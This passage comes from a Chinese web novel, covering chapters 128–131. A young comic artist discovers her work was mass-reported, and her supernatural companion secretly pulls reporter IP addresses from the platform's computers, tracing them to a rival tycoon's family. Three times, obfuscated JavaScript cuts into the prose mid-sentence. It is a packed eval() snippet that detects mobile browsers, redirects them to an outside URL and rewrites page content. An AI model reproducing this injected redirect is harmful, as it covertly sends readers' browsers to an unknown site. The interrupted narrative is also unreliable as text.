庄森芽扬起脑袋,“我可没有,我有什么好气的,只是希望自己的房间保持一尘不染。” “事先声明,”诺特斯抬起一根手指,模样颇为随性,“是你先承认你跟那个裴佑哲做了什么,为了跟你扯平,我才去寻欢作乐。” 她将两条胳膊都抱在胸前,蔑视着他,“真不好意思,我骗你的,我跟他什么都没发生。你倒是很容易上当,一个小小的谎言就彻底暴露本性了,我看有些人是巴不得往夜店跑。” 诺特斯的笑意更深,“这么说,我被你摆了一道啊。” “知道自己品性有多恶劣就好。”庄森芽指向卧房的大门,语气毫不客气,“现在,离开我的房间,我不想再说第三次了。” 诺特斯却不行动,反而说:“我去的那家店非常温馨舒适,非常适合一些青涩的新人,要不,哪天也带你去开开眼界。” 离谱,这个人反而邀请起来,真是一点道德上的羞耻感都没有。 “我不感兴趣。”庄森芽冷脸说道。 “地址在饶临区中轴街78号……” 她感到疑惑。 在她家楼下?可是她不记得楼底下有什么夜店。 诺特斯:“……二号楼五单元603。” 她听了直皱眉,“你报我家地址干嘛?” 诺特斯笑而不语,用一双像被酒润过的眸子盯着她。 庄森芽思考了半天,这才反应过来诺特斯是在调戏她,脸色顿时变得不善,“你把我家说成是夜店是什么意思?” “意思是这一晚上我都流连于其中,未曾离开。” “信你的鬼话。” 诺特斯扬扬眉,从口袋里翻出手机,“我可是有证据的。” 庄森芽不信任地盯着他,她倒要看看他能拿出什么证据来。 男人在手机上操作了一番,而后,把它翻转过来,给庄森芽看上面的内容。 那是一段录像,长达十分钟,录制于凌晨一点。 画面上是一个熟睡的人,白色的头发像细密的蛛网一样,柔软地铺盖在枕头上,被子和四肢交缠着,难舍难分,她睡得很沉,呼吸均匀,胸膛有节奏地起伏,只是眉间似乎有忧愁不解,始终微蹙着。 庄森芽看了不到三秒,立刻双目大睁,怒目而视,“你趁我睡觉拍我!?” 说着,她就要去抢手机,整个人都扑在了对方身上。然而诺特斯把手臂抬高了,不让她摸到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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庄森芽直感觉离对方更近的那一侧脸颊都开始泛起细密的鸡皮疙瘩,呼吸喷洒在脖颈上,弄得她想要退缩。 “我们……”她大脑有点迟钝。 为两人的关系下定义的时候,总觉得意识都有点飘忽不定,仿佛有什么东西就快要冲破胸膛,心跳的鼓动声无比剧烈。 似乎已经撇不干净了。 现在冠冕堂皇地说什么想要撇清关系的话,都会显得是那么无力。 可是距离一个明确的定义,他们之间似乎又差了一点距离,盘桓在这之间的,是猜疑,不确定,以及对未来的缥缈把握。 或许只有当一切尘埃落定的时候,她才敢真正接纳些什么。 所以,在那之前……在这个‘待观察期’,她不会给予这段关系任何确凿的肯定。 于是她开口,“……现在还什么都不是。” 诺特斯笑起来,“这句话听起来有很多可以周旋的余地啊。” 庄森芽还想说什么,一阵拖鞋走过的踢踏声在门外传来,爸妈似乎已经醒了,开始了清晨的洗漱。 她连忙从诺特斯的怀里钻出来,脸上的燥热迟迟不消,她需要一点凉水让它降温。 “给我回客厅,不过不许让爸妈看见你从我的房间里出来,搞得好像你在这里过夜了似的……”她背对着他,命令说。 “好,好,一切遵循你的意愿。”诺特斯十分从善如流。 128. 被搞了 她抛下诺特斯,离开卧室,和爸妈挤进了同一个卫生间。 公寓的户型是三室一厅,十分紧凑,两个卧房,一个工作间,客厅袖珍,洗手间只有一个,所以他们只能商量好时间共用。 这已经是以他们家现在的情况能住进去的最好的公寓了,更多的她不敢强求。 庄洪成洗漱得很暴力,弄得水花四溅,但很快给她让了个位置,庄森芽趁这个机会逮住他,连忙询问昨天惦记了一整晚的问题。 “爸,腾滨集团的董事长叫什么?” 庄洪成拿着一条毛巾在旁边擦脸,力气用得很大,仿佛把自己的脸当成了什么搓衣板,“裴正。” “他是不是有个叫裴佑哲的儿子?” “对。” ……果然吗。 尘埃落定的同时,庄森芽只觉得心情有点低落。 “怎么了闺女,突然想起问这个?”庄洪成问她。 庄森芽:“你之前说,你们和腾滨集团的老总有点过节,是和这个裴正产生过什么矛盾?” 庄洪成把毛巾放回架子上,叹息了一声,“都是些成年往事了,说来话长。” 这时候,一旁在往脸上抹护肤品的祁欢张口了,“你爸和那个裴正是大学同学。” 庄森芽惊讶,“居然还有这么一层关系?” “大学的时候,你爸是个正义凛然的人,把那个裴正脚踩两只船的事情戳穿了,然后他就一直记恨着你爸,把你爸当成了仇人。” ……这么狗血? 祁欢:“最初他只是一个小企业家的时候,还威胁不到我们。只不过上茂市换了市长之后,新上任的那个叫张简栾的市长和裴正关系好,把他扶持起来了,所以才有机会让他对我们的公司肆意报复,各种施压。” “原来是这样……”庄森芽大概明白了前因后果。 她以为会是什么更加苦大仇深的恩怨,但没想到起因听起来居然那么的无厘头。 就像那些莫名其妙发动的战争,比如原因是王子公主走丢了什么的;还有听起来严肃,但手段其实算不上多么大气的商业战,例如给对家公司寄晦气的装饰物之类。 在外人看来俨乎其然的结果,其起因或过程可能却是让人哑口无言甚至贻笑大方的。 “芽芽,诺特斯起来了吗?”祁欢问她。 庄森芽往牙刷上挤牙膏,应答道:“起来了。” “他早饭想吃什么?” 她瘪瘪嘴,感受到老妈的胳膊肘在向外拐,“妈你怎么不问我想吃什么。” “当然是因为我知道你想吃什么呀。”祁欢说,“油条豆浆,小米粥红腐乳,最好再给你拍个黄瓜。” ……好吧,她错怪老妈了。 “他吃什么都行。”庄森芽说。 她虽然对诺特斯喜欢吃什么没什么印象,但在记忆里,这个男人就从来没有挑食过,什么都能吃,而且吃得还特别多,明明用餐的时候看起来慢条斯理斯斯文文的,可是一眨眼的功夫,他总能把面前的盘子和碗一扫而空。 想到这里,她加了一句,“就是最好多准备点,他胃口大。” 说这些不是因为她关心他会不会吃饱,而是担心他胃不满,反而缠着自己讨食。 “能吃是好事。”祁欢笑着说,“难怪人家长那么高呢。” 他在您眼里完全就是没有一点缺点是吗。 庄森芽不禁腹诽。 刷完牙洗完脸,庄森芽往自己的房间走,途经客厅的时候,看到诺特斯坐在沙发上玩着手机。 被子已经被他叠好了,规整地放在一旁,他待在这家人为他准备的一亩三分地里,规规矩矩,老老实实,以客观的角度去看,留给人的印象是当真不错。 诺特斯看到她,朝她打招呼,“早上好。” 早上好个鬼,今天又不是第一次见面了,难道刚才进她房间的是鬼吗。 祁欢也跟着来到客厅,在出家门之前,她转头笑盈盈地冲诺特斯说:“再过差不多半个小时咱们吃早饭,要是无聊就看会电视。芽芽,人家是花时间来陪你的,虽然你学习也很重要,但可别怠慢了啊。” 庄森芽的嘴角抽了一下,她懒得再和自己的老妈在这种事情上争执,影响家庭和睦不说,还让一个作壁上观的人渔翁得利,“行,我知道了……” 她把电视机打开,把遥控器扔给了诺特斯,然后就钻进了自己的卧室。 在早饭开始之前,她有一个很重要的事情要思考。 刚才老爹跟她说,腾滨集团的董事长是裴正,而裴佑哲就是他的儿子。 这么看来,想要为自家的仿生器材科技公司解决原材料问题,求助裴佑哲这条路是走不通了。 他跟他爸肯定是站在一个阵线上的,裴正垄断了原材料,刻意针对她爸妈的光曙公司,裴佑哲自然也不会动用他的人脉帮助他们。 不过,这次思考也替庄森芽打开了一个新思路。 想要解决原材料垄断的问题,人脉或许是最重要的,资源掌握在人的手中,只有说服了人,事情才能推行下去。 不过,她能做到什么呢? 她认识的人只有亲戚、同学,亲戚当中大多都是兢兢业业的上班族,同学们更是没出社会,半点社会资源都不掌握,除了像裴佑哲这种百年不遇的佼佼者。 不过,既然找不到可以改变局势的关键人物,或许她也可以借助大众的力量,用舆论制造声势? 比如将腾滨集团垄断资源的恶行公之于众,引来群众的声讨,借此让原材料的价格恢复正常,于是乎父母的光曙公司也能从财务困境中解脱出来了。 这或许是个可行的方案。 不过,具体要怎么做呢? 庄森芽冥思苦想。 考虑去社交媒体上将事实曝光,可惜怕没有流量,身为一个漫画平台的底层创作者,她太知道流量的重要性了。 想要流量,要么花钱,要么自身就是一个拥有许多粉丝的博主,两者都不是的话,只能寄希望于发布的内容引发更多人的共鸣,再去各种网络的角落宣传,具体最后能不能变成爆款,全看老天给的运气…… ……等等,好像不用悲惨到那个地步。 她不是个漫画作者吗,天然就带有一定的流量属性,虽然她没怎么经营自己的社交媒体账号,但从现在开始布局的话,还为时不晚。 想到这里,庄森芽翻出自己的手机,打算去狐尾平台上看看漫画最近的数据,大概了解一下自己的粉丝量,估计一下转化到媒体平台上的话还能剩多少。 她前一阵子囤了很多稿,全都放到了平台的草稿箱里,设置成定时发布,所以有一段时间没上去看看情况了。 就在不久前,因为各种各样的原因,《灵月十四》这部漫画小小地火了一阵,那段时间对她来说并没有多开心,因为漫画爆火的同时,马甲也掉 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昨天‘一周情侣’总结会结束之后,感受到了莫大的委屈,只想从校园生活中逃避出来,所以直接开了免打扰,除了通讯录里的重要联系人以外,谁也联系不到她。 然而没想到,短短的一天过去,手机居然已经被新消息塞满了。 庄森芽没仔细去看那些亟待审阅的信息,找到编辑的联系方式,一个语音通话就打了过去。 现在是周二,是对方的工作时间,通话很快被接了起来,对面传来一个男性社畜的声音,“我的小祖宗,你终于出现了,联系你一整天都联系不上。” “李哥,这是怎么回事,我的漫画怎么被下架了?” “我还想问你呢,最近是不是得罪了什么人啊,昨天有一帮人疯狂举报你的漫画,各种罪名都往上招呼,都快把系统卡崩溃了,无奈只好先把它下架了,先把这阵风头避一避。” “有人举报我?”庄森芽震惊不已。 到底有什么好举报的,《灵月十四》又不是什么色情漫画,血腥暴力的部分几乎没有,而且绝不带一点反动内容,是谁这么闲的没事? “他们举报的理由是什么?” “太多了,而且还有不少针对你个人的。我记得你不是说现实里没人知道你画漫画吗,怎么会暴露得这么严重?” ……比预想更坏的情况发生了。 她原本以为,真实身份曝光之后,遭人指名道姓的唾骂已经很糟,可没想到还能被她碰上更坏的集体攻击。 “总之你看看,是先销声匿迹一段时间,还是怎么着。”编辑说着,声音听起来有点疲惫,十分符合周二打工人的半死不活状态,“有了想法告诉我,我看看怎么配合你。” “能知道是什么人举报我吗?”庄森芽问。 对方的声音有点为难,“别的都行,这个……涉及到用户隐私了,我可能没有权限调取数据。” “……好的,没关系。” 撂下电话,她闭上眼睛,长长地叹息了一声。 怎么会突然发生这种事,到底是谁在背后搞他? 为什么就这么倒霉,偏偏在她需要这部漫画的粉丝群体来为自己制造声势的时候,漫画却被下架了。 俗话说天无绝人之路,可她怎么感觉老天爷把她每一条道路都封死了。 129. 定心丸 睁开眼睛的时候,发现一个人影出现在卧室门口,那是诺特斯,他抱臂在胸前,肩膀侧倚在门框上,打量着在床上哀叹不已的庄森芽。 “遇到什么困难了?”他颇为正经地问,不带一丝幸灾乐祸的意味。 庄森芽短暂地思考了一下应不应该对他说,可回想起来,她没少向他抱怨自己的困境,该说的不该说的也都说过,不缺当下这一个。 于是捂着自己的脸,在床上闷闷开口,“我本来是想着,要是能通过在社交平台上曝光披露的方式,把那个腾滨集团垄断资源的事情公之于众,说不定能帮爸妈解决现在公司的财务困境。于是就想借用自己画漫画积攒的这点粉丝流量,再网上制造一点声势,可没想到漫画却被举报下架了……” 诺特斯模样略显惊讶,“这个意思是说,漫画没办法继续连载下去了?” 这个故事完结与否,与诺特斯的命运息息相关,庄森芽很快想通了这点,乍一听起来,他们现在好像是同一战线上的人了。 男人凑过来,坐在她身边,往摊开的手机上去瞧,像是想要弄明白究竟是怎么一回事。 庄森芽坦然地摆弄着手机,打开狐尾平台的软件程序,给他看漫画下架的提示。 “你刚才说是被人举报了?”诺特斯思索着,问她。 “好像有很多人同时举报我……”庄森芽打开了消息列表,一连串的‘被举报通知’看得她心惊胆战。 “看起来的确不像是个人行动。”他说。 点开其中几个‘被举报通知’,里面给出的理由千奇百怪,有的说漫画含沙射影,引人不适,有的说她侵犯了肖像权,还有的人举报说作者品格败坏。 她不理解自己哪里品格败坏了,点开详细信息,举报者一长串的控诉流言便显示了出来: 「脚踩两条船,刚上大学就这么不知道检点,这种人也允许她的公众作品在市面上流传?教坏小孩子怎么办?」 她看着这一段话,人有些呆愣,就像突然被谁打了一拳,正中面门。 诺特斯把手机从她手里抢了过去,那行刺眼的话就这么从她视野里消失了。 他拨弄着屏幕,快速地浏览着上面的举报信息,脸色有些冷淡,荧光在他眸中反射着,衬得那双狭长的眼睛像是冷硬金属一样。 另一边,庄森芽还因为刚才看到的那句话而耿耿于怀。 她不知道那具体是谁留下的举报信息,但无疑是认识的人。 因为这人不光知道她刚上大学不久,而且还说她脚踩两条船……这样的污蔑不是无迹可寻。 就在一天之前,‘一周情侣’的总结会结束之后,诺特斯出现,说了那么一段类似‘回到我身边来’的话。 稍微曲解一下的话,就能理解成:她一边和裴佑哲玩这场‘一周情侣’的考核游戏,暗地里其实还有一个暧昧的对象。 如果‘脚踩两条船’的这个控诉是源于那天发生的事情的话,如果她的推断没有错……那么这条举报信息背后的操作者,就是他们学校的学生,而且很有可能是‘一周情侣’总结会结束那时在场的某人。 “真夸张,举报信息都翻不到底。”诺特斯放弃了翻阅,把软件退了出去,将手机还给庄森芽,“你对背后的始作俑者是谁有什么头绪吗?” “……可能是学校的学生,但我不确定。”她并不愿意这么想,在学校接触的大部分人其实都还不错,比高中同学要好多了。 随着年龄的增长,大家也都变得更加沉稳、更加包容,她也难得在大学交到了好朋友,所以并不愿意去抹黑这个群体,庄森芽继而说道:“但我在学校里应该没树立什么敌人,社会上更不可能得罪什么人……我不知道到底是谁做的。” 她还是摇摇头,表示一筹莫展。 诺特斯沉吟了一声,那是他在思考时会发出的动静,“不如我去调查吧。” 庄森芽抬眼看他。 “狐尾平台这家公司的所在地很好找,注册公司的办公地点上网一搜就能查得到。”诺特斯诉说着缜密的行动方案,“员工的电脑里应该有这些举报者的详细信息,通过IP之类的就可以定位到具体位置,那之后,到底是谁在背后使坏,就昭然若揭了。” 光是听这段话,就算是对法律知之甚少的她,也隐约能感觉到起码触犯了两条以上的律法。 但是……管它呢,是她的权益先受到了侵犯,是有人先来挑衅她、打压她。 在这个大概没有人能替她维权的当下,动用一点无伤大雅的‘个人手段’,也没什么关系吧? “那你务必要做得悄无声息。”庄森芽声音压低了,嘱咐说。 在这一瞬间,她直感觉自己像是个共犯。 诺特斯一笑,伸手摸了摸她的头,这样安抚性质的动作他可不常做,“放心吧,被抓了我也不会连累你。” 听到这句话,她有点心虚。 一直以来,她对诺特斯都有这方面的担忧,生怕哪天,他这个人的一切被世人皆知,人们将他定义为混世大魔王,而创造了混世大魔王的自己也会受到牵连。 然而诺特斯却像看穿了她的小心思,于是喂来了一颗定心丸。 心虚引发了不由自主的难为情,她只觉得脸颊开始发热,有点羞愤地甩开头顶的那只手,催促他道:“你快去。” 诺特斯没有挪动位置,而是向她伸出一只手。 庄森芽立刻明白了这是什么意思,诺特斯是在向她索要‘力量源泉’。 他需要那块小小的石剑醇来发挥能力,而那绿色的小晶体当下就躺在床边的书桌上,离他只有一米的距离,他完全不需要经过她的转递才能拿到。 可他还是伸出手来,仿佛只有等她亲自把那吊坠放进他的手中,他才会取走那份力量。 庄森芽一边在心里点评着,这样的举动实属多此一举,可另一边,内心连自己也觉察不到的地方,却因为对方这样的行动而感到某种确信与安定。 她把摆在桌子上的石剑醇挂坠抓过来,交到了对方的手里,完成了这个转移的步骤。 “任务收到,等我的好消息。”诺特斯将手攥成了拳,露出一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823132|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十拿九稳的笑容,“应该不会很久,中午之前肯定回来。” 他说完,起身,将那吊坠挂在自己的脖颈上,它发着幽幽的绿光,而男人就像变魔术一样,身影自由落体,一下子就消失在了地板表面。 他离开之后,屋子里变得冷冷清清。 但庄森芽没工夫品味这份冷清,因为有更重要的事情等待着她。 刚才打开聊天软件的时候,她眼见着未读消息几乎霸占了整个屏幕,但因为要给编辑去电话的缘故,而没有处理。 现在该是时间来回复一下了。 开了免打扰的这一天当中,手机仿佛变成了一个塞满信件的信箱,房屋的主人不清理,它们便越积越多。 学生会和外联部的大群每日都有新消息进来,这些倒是不用处理,不过部长段子良给她私发了好几条消息,问她为什么不来开周一晚上的例会。 舍友们都在关心她去哪了,似乎还惊动了辅导员,庄森芽很少有晚出不归的时候,就算有也会在宿舍的小群里留个言,好让舍友们知道该什么时候锁门,可这次她却连续一整晚杳无音讯。 温枣也在问她为什么不回消息,这个小姐妹几乎每天都会和她聊上几句话,吐槽学业,幻想周末的美好生活,而当庄森芽一天没回复消息时,温枣最后一条留言已经严重到了她再不出现就要报警的程度。 庄森芽连忙把这些嗷嗷待回的未读消息都一一回复,告诉牵挂她的人,自己还平安,只是手机坏了。 打字打得手都要抽筋,可算是把人都安抚了一遍。未读消息清零,她如释重负地呼了口气。 忙完了这些,接下来只等诺特斯回来了。 在这段时间里,也没什么别的事好做,不想再去看那些让人心情沉重的举报信息,也没有心情学习,于是她跑去和爸妈呆着,家人的陪伴总是令人安心。 可是爸妈没过一阵也要去上班,他们给庄森芽和诺特斯两人留了早餐,离开之后,偌大的房间里又只剩下她一个人。 还是得找点什么事来做,不然一停下来就容易胡思乱想,胡思乱想会把人逼疯。 看着桌上盖着保温盖的餐盘,一个想法在脑海里浮现。 按诺特斯说的,他回来的时候都要中午了,这些准备的早餐估计早就凉透。 看在他这么积极地去探明信息的份上,一顿热腾腾的午餐还是应该享有的。 而且,昨天他也阴差阳错为她爸妈准备了一顿美味丰盛的大餐,所以礼尚往来,她为他准备一顿饭也是情理之中。她是这么认为的。 说服了自己之后,庄森芽把早餐打扫了,而后开始行动起来。 她与厨房为数不多的交流,只局限于烧热水、从冰箱里取饮料零食、刷盘子洗碗一类,至于怎么把一些生的食材变成熟的,她在这方面可谓是一窍不通。 但感谢网络,上面有无数前辈的丰厚经验,教程之详细可谓手把手教,照着图文说明来操作,就算是几岁的小孩也能做出一顿丰盛的菜肴。 在开始动工之前,她对自己抱有十足的信心。 130. 幕后主使 人忙活了起来,那些糟心事也就抛之脑后了,现在脑袋里想的都是如何从零开始变出一顿饭来。 等差不多到了中午,打算从最基础的一碗面开始学习,做法很简单,烧水,下面,再放进去其他的食材,煮熟了就可以盛出来吃了。 “没什么难度嘛。” 在锅里接上凉水,学着记忆里老妈的模样把火点着了,从冰箱里取出挂面,捏了厚厚一把在手里,觉得不够,又取了一撮出来,通通塞进锅中,乳白色的面斜斜地插在漆黑的不锈钢锅之中,像技艺拙劣的插花。 “哎不对,好像是要等水热了再下面……” 又查看了一遍图文说明,发现自己的确弄错了步骤。 “算了不管了,稍微调换一下顺序也没什么影响吧?” 说罢,她站在一旁,信誓旦旦地等水开。 锅里开始冒起透明的细密泡沫,面条也开始软化,她这才反应过来应该去切食材了。 把圆滚滚的西红柿切好,汁水溅了整个菜板,切出来的块状千奇百怪。 又取了午餐肉出来,切成薄厚不一的片状,将它们胡乱地堆在一旁的陶瓷碗里。 然后折了几片小白菜叶下来,懒得再用刀切,索性用手撕成一条一条,反而比切的更加匀称。 她正忙着调佐料,就听炉子上传来咕嘟咕嘟的响声,甫一转头,滋——白色的泡沫涌了出来,流到了锅底,火势骤然窜起来一瞬。 “哇啊!” 她不知道这是怎么回事,连忙伸手去关火,涨了满锅的泡沫这才消下去。 对于这突发情况一头雾水,怂了,不敢再开火,转而在网上搜起煮面的注意事项。 查了半天才知道,要隔段时间就添点水,不然就会发生刚才那种吓人的情况。 掌握了方法,开始第二次尝试,紧张地盯着锅里,但凡有冒泡的迹象,就舀一碗水往里灌,翻来覆去好几回,心里念叨着面也该熟了,于是往里下菜。 把刚才切好的配菜一股脑倒进去,本来还咕嘟咕嘟沸腾的水也平息了下去,又开始了新一轮的加热。 她不敢再分心,目不转睛地守在锅前,像极了尽职尽责的守夜人。 终于,水又开始沸腾,她估摸着这是熟了的意思,于是闭了火,掏出一只大碗,开始往里面夹面。 夹完了就要往里倒汤,伸手就去抓锅柄。 “啊!”她猛然缩回手。 被烫了才习得了一点常识,知道刚烧过水的锅不能直接摸。 疼得鼻头一酸,她红着眼睛吹着自己手指,去墙上取了隔热的手套来,这才安全的把锅抱起来,往碗里倒汤。 两碗面都准备好了,她也累得大汗淋漓。 把它们转移到厨房外的餐桌上去,漂浮着油沫和各种蔬菜碎尸的两碗面品相并不好,她安慰自己说只要好吃就行。 坐下来打算做第一个品尝自己手艺的人,用筷子夹起一缕,吹了吹,自信满满往嘴里送。 “……” ……? 内心和表情同时浮现出疑惑。 不是,这是人能做出来的食物? 没有骂自己的意思,但这,这样的味道她这辈子从来没有尝到过。 怎么说呢,淡得令人发指,仿佛酸甜苦辣全都少加了那么一点,但与此同时,又有一种奇怪的味道直冲天灵盖。 她甚至在里面尝出了一点点金属的锈味,还有什么东西发霉的味道,但她确信食材都是新鲜的,中途也没有添加什么奇怪的东西进去。 她只是把眼前能看到的佐料都加了那么一点点,比如黑胡椒粉白胡椒粉,老抽生抽麻油,陈醋香醋小米辣,本意是觉得味道越丰富越好。 结果却是做了这么一锅出来。 ……这绝对不能给诺特斯吃。 会不会把人吃出问题倒是次要的,关键是不能让他知道这是她的厨艺。 从仅有的几次经历来看,诺特斯的做饭的水平属于比较好的那一类,她可不想丢人现眼,被他当面笑话。 于是打算清理掉这两碗浑浊的面食。 “我知道浪费食物可耻,但阿弥陀佛上帝保佑,人都有犯错的时候……” 她各路国内外神仙求了个遍,只为心安理得把这一盆灾祸处理掉。 然而事情却不如所愿。 就在她捧着其中一碗卖相颇差的面条钻进厨房时,却发现那里已经有人捷足先登了。 不走寻常路,悄无声息地出现,能做到这种事情的只有一个人。 庄森芽立刻定住了脚步,进也不是,退也不是,呆若木鸡地站在原地。 厨房里的人打量着灶台上的锅,又看了看一旁切菜的案板,最终目光落在厨房门口捧着一个面碗的庄森芽。 “你在做什么?”他问。 好巧不巧,这家伙在最差的时间节点回来了。 她故作镇定,“……没什么,都是早上吃剩下的东西,我正要把它们倒掉。” 诺特斯挑了挑眉。 煮面的锅还热着,切菜的刀上面还沾着未干的西红柿汁,他显然是一副不相信的模样,但什么也没戳破。 “你已经调查完了?”庄森芽转移话题,来到水槽边,把碗里的面汤先倒掉,又将糊成一团的面疙瘩和菜叶子装进垃圾袋里。 “嗯。”诺特斯简单应了一声,暂时没详细作答,身影往厨房外走去。 不过半晌,庄森芽似乎听到了嗦面的声音。 “!”连忙追出厨房外,只见诺特斯在餐桌旁坐了下来,正在吃另一碗品相不佳的挂面。 他面上没什么表情,看不出是享受还是嫌恶,但亲自品尝过自己厨艺的庄森芽知道,对方现在肯定不会是赞叹的心情。 “你不准吃!”她扑上去就要抢他手里的筷子。 诺特斯没让她得逞,捧着碗避开了,“干嘛,剩饭还不让我吃?” “明知道是剩饭你还吃,你是狗吗?”抢夺无效,庄森芽锤了一下他的肩,气急败坏。 “这味道让我很怀念。”他十分感慨地说。 她有点滞愣,以为厨艺受到了肯定,“真,真的?” “是啊。”诺特斯微笑,“让我想起以前穷困潦倒时,只能吃生肉啃生草,顾不上什么味觉。” 他说着,还从碗里挑出来了一个面疙瘩,形状像是很多海草缠绕在一起,变成了一个实心的海胆。 听完诺特斯的话,又看到那没煮熟的面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831967|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块,庄森芽顿时羞红了脸,她更用力地捶打对方的肩,完全忘记之前承诺过的不动手原则,“你给我放下,听到没有?” “听到了。”他嘴上这么说,行为却并不服从,背着她继续吃那碗令人不敢恭维的面条。 “你……!”她瞪圆了眼睛,又骤然泄气,往旁边的椅子上一坐,抱胸嘟嘴,“算了,爱吃就吃,吃出什么毛病来我可不负责。” “怎么会呢,我相信你没给我投毒。” “谁说是我做的了?” 他笑而不语。 她拒不承认。 空气静默半晌,受不住这种令人尴尬的沉默,于是她踢了一下对方的椅子腿,张口问:“……所以你调查出来什么没有,举报我漫画的人都是谁?” 诺特斯边咀嚼着,边口齿不清地说:“我在漫画公司电脑的后台上,翻了一遍近期的举报信息记录,举报者的IP地址分散于全国各地,但主要还是集中在上茂市。” 果然还是熟人作案吗……庄森芽心想。 诺特斯用筷子尖在空中点了点,像是在细数那些地址信息,“上茂哈里森大学倒是没有。” “没有吗?”她有点意外,原以为是学校的学生带头举报。 “嗯,但这两个你可能感兴趣。”他一条胳膊搭在椅背上,“一个是在西景别墅区附近,另一个在未来产业园附近,这两个地点留下了很多的举报记录。” 西景别墅区和未来产业园……? 这两个地方听着耳熟,应该的确是在上茂市,不过它们具体是…… 庄森芽打开手机地图,在上面搜这两个地址,它们一个在西边,一个在紧北边。 在看到西景别墅区的所在地后,她只觉得心脏沉重地拧了一下。 那是……裴佑哲家的位置。 她去过那里,在裴佑哲生日那天。因为最后一个人离开时,在那片区域找了好久的公交车站,看了大半天的导航,所以对那片别墅区在地图上的方位很清楚。 可是,为什么…… 举报事件的背后,真的有裴佑哲的参与吗? 她还是不太愿意相信。 尽管他们最后一面不欢而散,而那人最终向她投来的眼神是前所未有的阴森,但庄森芽的潜意识中还住着那个温柔体贴的学长,那让她单方面地认为他不会真的做出什么伤害她的事情来。 情绪在抗拒着,使人无法理智地深入思考,她暂时略过了这个地点,转向另一个,“……这个未来产业园是什么地方?” “说未来产业园可能有点宽泛,具体还是集中在几条街道。”诺特斯用筷子点着碗边,发出清脆的嗒嗒声,“荣华街,方行街,宝鹿街……这几条街道围着几栋大楼,而这几栋楼……都属于腾滨集团旗下。” “……”听到这个名字,心情就像一颗投入海底的巨石,咚的一声,沉重又沉闷,“是我知道的那个腾滨?” “没错,腾斌集团,董事长裴正。” 诺特斯的话像是判决,如一道闪电般劈在她的心上。 西景别墅区,裴佑哲的家。未来产业园,裴正集团的所在地。 就算她再怎么想说服自己这是偶然,无情的事实却已冰冷地甩在脸上。 131. 困局 可即便如此,她还是抱有最后一次侥幸,“不可能……难道,难道他就不怕被我发现吗?” 诺特斯冷静地分析着,“敢这么做,就代表有着十足的信心,确信漫画平台不会将IP地址透露给任何人。可能已经买通了大领导之类的吧。” 他言下的意思是,如果不是他那不合常理的能力的搅局,这次的举报下架事件,将变成一个找不出罪魁祸首的谜团。 “又或者这个裴佑哲根本不在乎会不会被你知道,在他眼里,你只是个要权没权要人脉没人脉的大学生。就算你揭穿,也对他构不成什么威胁。”诺特斯说。 庄森芽并不愿意用这么阴险的想法去推断裴佑哲的行为,可惜现如今,也无法站出来替他说一句话了。 她不理解,到底为什么要这么做,为什么要举报她的漫画? 是在报复她吗,因为那天她拒绝了他的交往请求? 还是因为‘一周情侣’总结会之后,她没有如他所愿,变成一个没人要的可怜人? 心中开始越来越不是滋味。 想要和对方当面交流,有误会就解开,没误会便责问。 庄森芽掏出自己的手机,打开了与裴佑哲的聊天界面。 上一次有所交流,还是在他生日那天,他到学校的西大门接她,给她发消息说他已经到了。 明明才过去不到一周而已,可庄森芽却觉得时间像过去了一个世纪那么长,心境已然变化,过去也已经回不去了。 庄森芽想问他是不是对漫画动了些什么手脚,但是空口无凭,冷静想想,还是不能这么直接问他。 于是转而旁敲侧击,打开好兄弟费洛的聊天框,询问对方,裴佑哲这两天都在做什么。 没过多久,费洛发了条语音过来。 背景音很嘈杂,他似乎在某个人声鼎沸的街道上,声音炸炸咧咧的,几乎是在喊话,“我怎么知道他在做什么,他爱做什么就在做什么。” 听他语气不对劲,似乎饱含着巨大的怨气,庄森芽不由感到困惑。 费洛不像是再对她生气,而更像是在对话语中提及的人。 然而在她印象里,裴佑哲和费洛的关系一直不错,后者担任者外联部形象大使的职责,也同样是学生会主席在校园内的造型设计师,两人交往密切,理应一直都相处得很好才对。 现在这是怎么了? 庄森芽又发消息过去:「你和佑哲闹什么矛盾了吗,狗哥?」 费洛很快又发了几条语音过来,控诉接连不休: “他要把我开除学生会! “我不就是在‘一周情侣’总结会上替你说了两句话吗,又没说他的不好,他却跟我翻脸了。 “要开除我也就算了,素文他居然也不放过! “素文多兢兢业业啊,上面发布的任务从来都保质保量完成,没有一次怨言,她比我做得好多了,部长也特别喜欢她,他裴佑哲凭什么什么借口都不给就要开除? “权力不是这么滥用的,我真是看错人了!” 费洛似乎很愤怒,话语激昂,情绪高涨。 她大概听明白了前因后果。在‘一周情侣’总结会那天,裴佑哲突然与石玥诗公开情侣关系,导致庄森芽被其他学生小声议论贬低,而当时费洛看不过去,当众维护了两句,叫那些叽叽喳喳的人都闭了嘴。 没想到那天的事居然牵连到了好兄弟和舍友,庄森芽感觉到有点愧疚。 她打字过去,字里行间都是歉意:「对不起,都是因为我。」 费洛:“你有什么好道歉的,都是那个姓裴的问题,早知道他是这样的人,我一开始就不应该帮他——” 这段话庄森芽只听到了一半,费洛很快把它撤回了。 